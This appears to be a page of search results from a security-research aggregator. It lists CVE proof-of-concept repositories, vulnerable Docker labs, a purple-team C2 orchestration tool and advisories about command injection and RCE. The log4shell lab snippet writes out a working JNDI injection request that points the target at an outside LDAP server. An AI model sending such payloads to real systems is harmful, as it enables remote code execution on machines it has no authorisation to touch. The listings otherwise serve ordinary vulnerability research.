1234 matches found
reternal-quickstart
RE:TERNAL Note: Still under development, only use for testing and do not expose interfaces! Current compose doesn't work yet, only try when you know what you're doing RE:TERNAL is a centralised purple team orchestration service to manage third-party C2 frameworks. Agents are installed on endpoint...
reternal-quickstart
RE:TERNAL Nota: Todavía en desarrollo, solo usar para pruebas y ¡no exponer interfaces! El compose actual aún no funciona, solo intente si sabe lo que está haciendo RE:TERNAL es un servicio centralizado de orquestación de purple team para gestionar frameworks C2 de terceros. Los agentes se instal...
Dockwatch <= 0.6.567 - OS Command Injection
Dockwatch through 0.6.567 contains an unauthenticated command injection caused by missing exit after authentication redirect in loader.php and unsanitized input in ajax/compose.php, letting remote attackers execute arbitrary shell commands, exploit requires seeding a session flag via incomplete...
ruflo MCP Bridge - Unauthenticated RCE via terminal_execute
ruflo MCP bridge 3.16.3 in its default docker-compose deployment exposes POST /mcp with no authentication and binds to all interfaces 0.0.0.0:3001. The executeTool function has no server-side deny list for dangerous tools, allowing an unauthenticated attacker to invoke tools/call with...
Android-Security-Masterclass
Android Security Masterclass 🛡️📱 Official OWASP Project — A Hands-on OWASP MASVS/MASTG Security Training Lab for Android Developers & Pentesters — Mirror Architecture: Vulnerable ↔ Secure ↔ Attacker 📖 Overview The Android Security Masterclass is an official OWASP project designed with a Mirror...
dns-honeypot
Mis Primeras 24 Horas Ejecutando un Honeypot DNS Como ingeniero que pasa la mayor parte de mis días inmerso en herramientas de observabilidad, de vez en cuando tengo una idea que simplemente tengo que llevar a cabo. Este fue uno de esos experimentos: levantar un resolvedor DNS en una IP limpia qu...
CVE-2022-39275
CVE-2022-39275 POC for CVE-2022-39275. Resources for the advisory: NIST NVD CVE.org Github Security Advisory This is a fork of commit hash: 47f9f5fb29be2b5892c79ace4f23022f397a0a5e link, just re-pushed as there were git submodules that also had to be changed. POC-Setup Follow the setup guide. In...
CVE-2026-27607
CVE-2026-27607 Proof of concept for CVE-2026-27607, published as GHSA-w5fh-f8xh-5x3p. Run Needs Node.js and docker + compose. Install dependencies: npm ci Start vulnerable RustFS instance: docker compose up wait for startup Run demo: ./exploit.js...
log4shell_lab
log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...
Poc-CVE-2025-9519
Easy Timer v4.2.1 - Prerequisites Docker Engine installed Docker Compose installed Refer to the official Docker docs for installation: Docker Engine Install 1. Start WordPress with Docker From your project directory: sudo docker-compose up -d mkdir -p wp-content/plugins cd wp-content/plugins wget...
CVE-2025-34159
CVE-2025-34159: Docker Compose Injection in Coolify Vulnerability Overview Field| Value ---|--- CVE ID| CVE-2025-34159 Affects| Coolify ≤ v4.0.0-beta.420.6 Fixed in| v4.0.0-beta.420.7 Severity| Critical CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-78 OS Comma...
homelab-CVE-2025-68613
How to Use Docker Compose for This Project This guide explains how to install Docker Compose and run the project using the provided docker-compose.yml file. Prerequisites Docker must be installed on your system. See the official Docker installation guide for instructions. Installing Docker Compos...
CVE-2020-11800
Sections required by the assignment guidelines are marked with “Required”. 1. Environment Required Dockerfile Required This environment uses a custom Dockerfile based on the vulnerable Zabbix Server image provided by Vulhub. FROM vulhub/zabbix:3.0.3-server The Dockerfile builds a local image usin...
CVE-2021-43798
Subir o lab docker compose up -d Poc: python3 CVE-2021-43798.py IP PORT By: https://www.linkedin.com/in/steven-guimaraes-29aa79212/...
CVE-2025-68613-n8n-lab
CVE-2025-68613 Local n8n Lab This repository provides a simple Docker Compose setup that runs a vulnerable n8n instance for local testing of CVE-2025-68613. Requirements Docker Desktop or Docker Engine Docker Compose v2 Quick start 1. Start the container: docker compose up -d 2. Open n8n in your...
CVE-2019-19356
CVE-2019-19356 cd CVE-2019-19356 docker-compose up -d...
CLEANSTART-2024-XV18933 Git is an open source, scalable, distributed revision control system
Security vulnerability affects the docker-cli-compose package. Git is an open source, scalable, distributed revision control system...
CLEANSTART-2024-OB04829 In net/http in Go before 1
Security vulnerability affects the docker-cli-compose package. In net/http in Go before 1...
